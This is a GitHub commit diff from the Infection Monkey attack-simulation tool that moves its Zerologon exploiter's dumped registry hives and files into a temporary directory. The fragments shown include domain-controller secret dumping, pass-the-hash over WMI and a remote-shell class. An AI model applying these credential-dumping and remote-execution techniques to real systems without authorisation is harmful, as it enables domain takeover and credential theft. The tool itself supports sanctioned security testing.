Merge pull request #1143 from guardicore/zerologon-tmp-dir

Create a temporary directory for zerologon artifacts
This commit is contained in:
Mike Salvatore 2021-05-04 09:38:38 -04:00 committed by GitHub
commit 341af227b7
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
4 changed files with 24 additions and 9 deletions

View File

@ -24,6 +24,8 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
collection time. #1102 collection time. #1102
- Changed default BB test suite: if `--run-performance-tests` flag is not specified, - Changed default BB test suite: if `--run-performance-tests` flag is not specified,
performance tests are skipped. performance tests are skipped.
- Zerologon exploiter writes runtime artifacts to a secure temporary directory
instead of $HOME. #1143
### Fixed ### Fixed
- Attempted to delete a directory when monkey config reset was called. #1054 - Attempted to delete a directory when monkey config reset was called. #1054

View File

@ -7,6 +7,7 @@ https://github.com/risksense/zerologon/.
import logging import logging
import os import os
import re import re
import tempfile
from binascii import unhexlify from binascii import unhexlify
from typing import Dict, List, Optional, Tuple from typing import Dict, List, Optional, Tuple
@ -39,6 +40,10 @@ class ZerologonExploiter(HostExploiter):
self.exploit_info["credentials"] = {} self.exploit_info["credentials"] = {}
self.exploit_info["password_restored"] = None self.exploit_info["password_restored"] = None
self._extracted_creds = {} self._extracted_creds = {}
self._secrets_dir = tempfile.TemporaryDirectory(prefix="zerologon")
def __del__(self):
self._secrets_dir.cleanup()
def _exploit_host(self) -> bool: def _exploit_host(self) -> bool:
self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host) self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host)
@ -302,9 +307,9 @@ class ZerologonExploiter(HostExploiter):
options = OptionsForSecretsdump( options = OptionsForSecretsdump(
dc_ip=self.dc_ip, dc_ip=self.dc_ip,
just_dc=False, just_dc=False,
system=os.path.join(os.path.expanduser("~"), "monkey-system.save"), system=os.path.join(self._secrets_dir.name, "monkey-system.save"),
sam=os.path.join(os.path.expanduser("~"), "monkey-sam.save"), sam=os.path.join(self._secrets_dir.name, "monkey-sam.save"),
security=os.path.join(os.path.expanduser("~"), "monkey-security.save"), security=os.path.join(self._secrets_dir.name, "monkey-security.save"),
) )
dumped_secrets = self.get_dumped_secrets(remote_name="LOCAL", options=options) dumped_secrets = self.get_dumped_secrets(remote_name="LOCAL", options=options)
@ -331,7 +336,11 @@ class ZerologonExploiter(HostExploiter):
) )
wmiexec = Wmiexec( wmiexec = Wmiexec(
ip=self.dc_ip, username=username, hashes=":".join(user_pwd_hashes), domain=self.dc_ip ip=self.dc_ip,
username=username,
hashes=":".join(user_pwd_hashes),
domain=self.dc_ip,
secrets_dir=self._secrets_dir,
) )
remote_shell = wmiexec.get_remote_shell() remote_shell = wmiexec.get_remote_shell()
@ -372,7 +381,7 @@ class ZerologonExploiter(HostExploiter):
def remove_locally_saved_HKLM_keys(self) -> None: def remove_locally_saved_HKLM_keys(self) -> None:
for name in ["system", "sam", "security"]: for name in ["system", "sam", "security"]:
path = os.path.join(os.path.expanduser("~"), f"monkey-{name}.save") path = os.path.join(self._secrets_dir.name, f"monkey-{name}.save")
try: try:
os.remove(path) os.remove(path)
except Exception as e: except Exception as e:

View File

@ -58,7 +58,7 @@ LOG = logging.getLogger(__name__)
class RemoteShell(cmd.Cmd): class RemoteShell(cmd.Cmd):
CODEC = sys.stdout.encoding CODEC = sys.stdout.encoding
def __init__(self, share, win32Process, smbConnection, outputFilename): def __init__(self, share, win32Process, smbConnection, outputFilename, secrets_dir):
cmd.Cmd.__init__(self) cmd.Cmd.__init__(self)
self.__share = share self.__share = share
self.__output = "\\" + outputFilename self.__output = "\\" + outputFilename
@ -68,6 +68,7 @@ class RemoteShell(cmd.Cmd):
self.__transferClient = smbConnection self.__transferClient = smbConnection
self.__pwd = str("C:\\") self.__pwd = str("C:\\")
self.__noOutput = False self.__noOutput = False
self.__secrets_dir = secrets_dir
# We don't wanna deal with timeouts from now on. # We don't wanna deal with timeouts from now on.
if self.__transferClient is not None: if self.__transferClient is not None:
@ -83,7 +84,7 @@ class RemoteShell(cmd.Cmd):
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path)) newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
drive, tail = ntpath.splitdrive(newPath) drive, tail = ntpath.splitdrive(newPath)
filename = ntpath.basename(tail) filename = ntpath.basename(tail)
local_file_path = os.path.join(os.path.expanduser("~"), "monkey-" + filename) local_file_path = os.path.join(self.__secrets_dir.name, "monkey-" + filename)
fh = open(local_file_path, "wb") fh = open(local_file_path, "wb")
LOG.info("Downloading %s\\%s" % (drive, tail)) LOG.info("Downloading %s\\%s" % (drive, tail))
self.__transferClient.getFile(drive[:-1] + "$", tail, fh.write) self.__transferClient.getFile(drive[:-1] + "$", tail, fh.write)

View File

@ -61,13 +61,16 @@ LOG = logging.getLogger(__name__)
class Wmiexec: class Wmiexec:
OUTPUT_FILENAME = "__" + str(time.time()) OUTPUT_FILENAME = "__" + str(time.time())
def __init__(self, ip, username, hashes, password="", domain="", share="ADMIN$"): def __init__(
self, ip, username, hashes, password="", domain="", share="ADMIN$", secrets_dir=None
):
self.__ip = ip self.__ip = ip
self.__username = username self.__username = username
self.__password = password self.__password = password
self.__domain = domain self.__domain = domain
self.__lmhash, self.__nthash = hashes.split(":") self.__lmhash, self.__nthash = hashes.split(":")
self.__share = share self.__share = share
self.__secrets_dir = secrets_dir
self.shell = None self.shell = None
def connect(self): def connect(self):
@ -107,7 +110,7 @@ class Wmiexec:
self.connect() self.connect()
win32Process, _ = self.iWbemServices.GetObject("Win32_Process") win32Process, _ = self.iWbemServices.GetObject("Win32_Process")
self.shell = RemoteShell( self.shell = RemoteShell(
self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME, self.__secrets_dir
) )
return self.shell return self.shell